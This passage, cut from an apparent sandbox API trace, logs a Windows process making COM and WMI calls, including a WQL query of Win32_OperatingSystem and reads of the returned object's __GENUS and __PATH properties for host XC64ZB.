This=0x1d290590, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d4e8 | out: ppvObject=0x1da9d4e8*=0x0) returned 0x80004002 [0272.435] WbemLocator:IUnknown:AddRef (This=0x1b201e78) returned 0x3 [0272.435] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d3a8 | out: ppvObject=0x1da9d3a8*=0x0) returned 0x80004002 [0272.436] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d330 | out: ppvObject=0x1da9d330*=0x0) returned 0x80004002 [0272.436] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d320 | out: ppvObject=0x1da9d320*=0x1b201d58) returned 0x0 [0272.436] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b201d58, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d348 | out: pCid=0x1da9d348*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.436] WbemLocator:IUnknown:Release (This=0x1b201d58) returned 0x3 [0272.436] CoGetContextToken (in: pToken=0x1da9d3d0 | out: pToken=0x1da9d3d0) returned 0x0 [0272.436] CoGetContextToken (in: pToken=0x1da9d850 | out: pToken=0x1da9d850) returned 0x0 [0272.436] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b201e40) returned 0x0 [0272.436] WbemLocator:IRpcOptions:Query (in: This=0x1b201e40, pPrx=0x1b201e78, dwProperty=2, pdwValue=0x1da9d900 | out: pdwValue=0x1da9d900) returned 0x80004002 [0272.436] WbemLocator:IUnknown:Release (This=0x1b201e40) returned 0x3 [0272.436] WbemLocator:IUnknown:Release (This=0x1b201e78) returned 0x2 [0272.436] CoGetContextToken (in: pToken=0x1da9df10 | out: pToken=0x1da9df10) returned 0x0 [0272.436] CoGetContextToken (in: pToken=0x1da9de10 | out: pToken=0x1da9de10) returned 0x0 [0272.436] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x1da9df70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1da9df40 | out: ppvObject=0x1da9df40*=0x1d290590) returned 0x0 [0272.437] WbemLocator:IUnknown:AddRef (This=0x1d290590) returned 0x4 [0272.437] WbemLocator:IUnknown:Release (This=0x1d290590) returned 0x3 [0272.437] WbemLocator:IUnknown:Release (This=0x1d290590) returned 0x2 [0272.437] SysStringLen (param_1=0x0) returned 0x0 [0272.437] CoGetContextToken (in: pToken=0x1da9e040 | out: pToken=0x1da9e040) returned 0x0 [0272.437] WbemLocator:IUnknown:AddRef (This=0x1b201e78) returned 0x3 [0272.437] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e040 | out: ppvObject=0x1da9e040*=0x1b201e78) returned 0x0 [0272.437] WbemLocator:IUnknown:Release (This=0x1b201e78) returned 0x3 [0272.437] WbemLocator:IUnknown:Release (This=0x1b201e78) returned 0x2 [0272.437] CoGetContextToken (in: pToken=0x1da9e170 | out: pToken=0x1da9e170) returned 0x0 [0272.437] WbemLocator:IUnknown:AddRef (This=0x1d290590) returned 0x3 [0272.437] IWbemServices:ExecQuery (in: This=0x1d290590, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1da9e618 | out: ppEnum=0x1da9e618*=0x1b286710) returned 0x0 [0272.457] IUnknown:QueryInterface (in: This=0x1b286710, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2e8 | out: ppvObject=0x1da9e2e8*=0x1b286718) returned 0x0 [0272.458] IClientSecurity:QueryBlanket (in: This=0x1b286718, pProxy=0x1b286710, pAuthnSvc=0x1da9e3b0, pAuthzSvc=0x1da9e330, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334, pImpLevel=0x1da9e340, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344 | out: pAuthnSvc=0x1da9e3b0*=0xa, pAuthzSvc=0x1da9e330*=0x0, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334*=0x6, pImpLevel=0x1da9e340*=0x2, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344*=0x1) returned 0x0 [0272.458] IUnknown:Release (This=0x1b286718) returned 0x1 [0272.458] IUnknown:QueryInterface (in: This=0x1b286710, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e280 | out: ppvObject=0x1da9e280*=0x1b2021b8) returned 0x0 [0272.458] IUnknown:QueryInterface (in: This=0x1b286710, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e290 | out: ppvObject=0x1da9e290*=0x1b286718) returned 0x0 [0272.458] IClientSecurity:SetBlanket (This=0x1b286718, pProxy=0x1b286710, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0272.460] IUnknown:Release (This=0x1b286718) returned 0x2 [0272.460] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x1 [0272.460] CoTaskMemFree (pv=0x1d1e6f90) [0272.461] IUnknown:QueryInterface (in: This=0x1b286710, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd50 | out: ppvObject=0x1da9dd50*=0x1b2021b8) returned 0x0 [0272.461] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dde0 | out: ppvObject=0x1da9dde0*=0x0) returned 0x80004002 [0272.463] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x0) returned 0x80004002 [0272.463] IUnknown:QueryInterface (in: This=0x1b286710, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5d8 | out: ppvObject=0x1da9d5d8*=0x0) returned 0x80004002 [0272.464] WbemLocator:IUnknown:AddRef (This=0x1b2021b8) returned 0x3 [0272.464] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d498 | out: ppvObject=0x1da9d498*=0x0) returned 0x80004002 [0272.464] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d420 | out: ppvObject=0x1da9d420*=0x0) returned 0x80004002 [0272.464] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d410 | out: ppvObject=0x1da9d410*=0x1b202098) returned 0x0 [0272.464] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202098, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d438 | out: pCid=0x1da9d438*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.464] WbemLocator:IUnknown:Release (This=0x1b202098) returned 0x3 [0272.464] CoGetContextToken (in: pToken=0x1da9d4c0 | out: pToken=0x1da9d4c0) returned 0x0 [0272.464] CoGetContextToken (in: pToken=0x1da9d940 | out: pToken=0x1da9d940) returned 0x0 [0272.464] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x1b202180) returned 0x0 [0272.464] WbemLocator:IRpcOptions:Query (in: This=0x1b202180, pPrx=0x1b2021b8, dwProperty=2, pdwValue=0x1da9d9f0 | out: pdwValue=0x1da9d9f0) returned 0x80004002 [0272.464] WbemLocator:IUnknown:Release (This=0x1b202180) returned 0x3 [0272.465] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x2 [0272.465] CoGetContextToken (in: pToken=0x1da9e000 | out: pToken=0x1da9e000) returned 0x0 [0272.465] CoGetContextToken (in: pToken=0x1da9df00 | out: pToken=0x1da9df00) returned 0x0 [0272.465] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x1da9e060*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e030 | out: ppvObject=0x1da9e030*=0x1b286710) returned 0x0 [0272.465] IUnknown:AddRef (This=0x1b286710) returned 0x4 [0272.465] IUnknown:Release (This=0x1b286710) returned 0x3 [0272.465] IUnknown:Release (This=0x1b286710) returned 0x2 [0272.465] WbemLocator:IUnknown:Release (This=0x1d290590) returned 0x2 [0272.465] SysStringLen (param_1=0x0) returned 0x0 [0272.465] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e658 | out: puCount=0x1da9e658*=0x2) returned 0x0 [0272.465] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e650*=0xf, pszText=0x0) returned 0x0 [0272.465] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e650*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.466] CoGetContextToken (in: pToken=0x1da9e190 | out: pToken=0x1da9e190) returned 0x0 [0272.466] IUnknown:AddRef (This=0x1b286710) returned 0x3 [0272.466] IEnumWbemClassObject:Clone (in: This=0x1b286710, ppEnum=0x1da9e590 | out: ppEnum=0x1da9e590*=0x1b286080) returned 0x0 [0272.467] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e318 | out: ppvObject=0x1da9e318*=0x1b286088) returned 0x0 [0272.467] IClientSecurity:QueryBlanket (in: This=0x1b286088, pProxy=0x1b286080, pAuthnSvc=0x1da9e3e0, pAuthzSvc=0x1da9e360, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364, pImpLevel=0x1da9e370, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374 | out: pAuthnSvc=0x1da9e3e0*=0xa, pAuthzSvc=0x1da9e360*=0x0, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364*=0x6, pImpLevel=0x1da9e370*=0x2, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374*=0x1) returned 0x0 [0272.467] IUnknown:Release (This=0x1b286088) returned 0x1 [0272.467] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2b0 | out: ppvObject=0x1da9e2b0*=0x1b203878) returned 0x0 [0272.467] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2c0 | out: ppvObject=0x1da9e2c0*=0x1b286088) returned 0x0 [0272.468] IClientSecurity:SetBlanket (This=0x1b286088, pProxy=0x1b286080, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0272.472] IUnknown:Release (This=0x1b286088) returned 0x2 [0272.472] WbemLocator:IUnknown:Release (This=0x1b203878) returned 0x1 [0272.472] CoTaskMemFree (pv=0x1d1e6d80) [0272.472] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd70 | out: ppvObject=0x1da9dd70*=0x1b203878) returned 0x0 [0272.472] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203878, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9de00 | out: ppvObject=0x1da9de00*=0x0) returned 0x80004002 [0272.473] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203878, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x0) returned 0x80004002 [0272.509] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5f8 | out: ppvObject=0x1da9d5f8*=0x0) returned 0x80004002 [0272.509] WbemLocator:IUnknown:AddRef (This=0x1b203878) returned 0x3 [0272.510] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203878, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d4b8 | out: ppvObject=0x1da9d4b8*=0x0) returned 0x80004002 [0272.510] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203878, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d440 | out: ppvObject=0x1da9d440*=0x0) returned 0x80004002 [0272.510] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203878, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d430 | out: ppvObject=0x1da9d430*=0x1b203758) returned 0x0 [0272.510] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b203758, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d458 | out: pCid=0x1da9d458*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0272.510] WbemLocator:IUnknown:Release (This=0x1b203758) returned 0x3 [0272.510] CoGetContextToken (in: pToken=0x1da9d4e0 | out: pToken=0x1da9d4e0) returned 0x0 [0272.510] CoGetContextToken (in: pToken=0x1da9d960 | out: pToken=0x1da9d960) returned 0x0 [0272.511] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203878, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x1b203840) returned 0x0 [0272.511] WbemLocator:IRpcOptions:Query (in: This=0x1b203840, pPrx=0x1b203878, dwProperty=2, pdwValue=0x1da9da10 | out: pdwValue=0x1da9da10) returned 0x80004002 [0272.511] WbemLocator:IUnknown:Release (This=0x1b203840) returned 0x3 [0272.511] WbemLocator:IUnknown:Release (This=0x1b203878) returned 0x2 [0272.511] CoGetContextToken (in: pToken=0x1da9e020 | out: pToken=0x1da9e020) returned 0x0 [0272.511] CoGetContextToken (in: pToken=0x1da9df20 | out: pToken=0x1da9df20) returned 0x0 [0272.511] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203878, riid=0x1da9e080*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e050 | out: ppvObject=0x1da9e050*=0x1b286080) returned 0x0 [0272.511] IUnknown:AddRef (This=0x1b286080) returned 0x4 [0272.511] IUnknown:Release (This=0x1b286080) returned 0x3 [0272.511] IUnknown:Release (This=0x1b286080) returned 0x2 [0272.511] IUnknown:Release (This=0x1b286710) returned 0x2 [0272.511] SysStringLen (param_1=0x0) returned 0x0 [0272.512] IEnumWbemClassObject:Reset (This=0x1b286080) returned 0x0 [0272.513] CoTaskMemAlloc (cb=0x8) returned 0x1d1c0ff0 [0272.513] IEnumWbemClassObject:Next (in: This=0x1b286080, lTimeout=-1, uCount=0x1, apObjects=0x1d1c0ff0, puReturned=0x2776d30 | out: apObjects=0x1d1c0ff0*=0x1b268a00, puReturned=0x2776d30*=0x1) returned 0x0 [0272.520] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b268a00) returned 0x0 [0272.520] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d9a0 | out: ppvObject=0x1da9d9a0*=0x0) returned 0x80004002 [0272.520] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0272.520] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d198 | out: ppvObject=0x1da9d198*=0x0) returned 0x80004002 [0272.521] IUnknown:AddRef (This=0x1b268a00) returned 0x3 [0272.521] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0272.521] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cfe0 | out: ppvObject=0x1da9cfe0*=0x0) returned 0x80004002 [0272.521] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9cfd0 | out: ppvObject=0x1da9cfd0*=0x1b268a08) returned 0x0 [0272.521] IMarshal:GetUnmarshalClass (in: This=0x1b268a08, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9cff8 | out: pCid=0x1da9cff8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0272.521] IUnknown:Release (This=0x1b268a08) returned 0x3 [0272.521] CoGetContextToken (in: pToken=0x1da9d080 | out: pToken=0x1da9d080) returned 0x0 [0272.521] CoGetContextToken (in: pToken=0x1da9d500 | out: pToken=0x1da9d500) returned 0x0 [0272.521] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0272.521] IUnknown:Release (This=0x1b268a00) returned 0x2 [0272.521] CoGetContextToken (in: pToken=0x1da9dbc0 | out: pToken=0x1da9dbc0) returned 0x0 [0272.522] CoGetContextToken (in: pToken=0x1da9dac0 | out: pToken=0x1da9dac0) returned 0x0 [0272.522] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x1da9dc20*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9dbf0 | out: ppvObject=0x1da9dbf0*=0x1b268a00) returned 0x0 [0272.522] IUnknown:AddRef (This=0x1b268a00) returned 0x4 [0272.522] IUnknown:Release (This=0x1b268a00) returned 0x3 [0272.522] IUnknown:Release (This=0x1b268a00) returned 0x2 [0272.522] CoTaskMemFree (pv=0x1d1c0ff0) [0272.522] CoGetContextToken (in: pToken=0x1da9df90 | out: pToken=0x1da9df90) returned 0x0 [0272.522] IUnknown:AddRef (This=0x1b268a00) returned 0x3 [0272.522] IWbemClassObject:Get (in: This=0x1b268a00, wszName="__GENUS", lFlags=0, pVal=0x1da9e550*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e678*=0, plFlavor=0x1da9e670*=0 | out: pVal=0x1da9e550*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1da9e678*=3, plFlavor=0x1da9e670*=64) returned 0x0 [0272.523] IWbemClassObject:Get (in: This=0x1b268a00, wszName="__PATH", lFlags=0, pVal=0x1da9e500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e630*=0, plFlavor=0x1da9e628*=0 | out: pVal=0x1da9e500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1da9e630*=8, plFlavor=0x1da9e628*=64) returned 0x0 [0272.523] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0272.523] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0272.523] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e578 | out: ppv=0x1da9e578*=0x77dd58) returned 0x0 [0272.523] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e568 | out: pAptType=0x1da9e568*=1) returned 0x0 [0272.523] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e570 | out: ppvObject=0x1da9e570*=0x0) returned 0x80004002 [0272.524] IUnknown:Release (This=0x77dd58) returned 0x1 [0272.525] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, 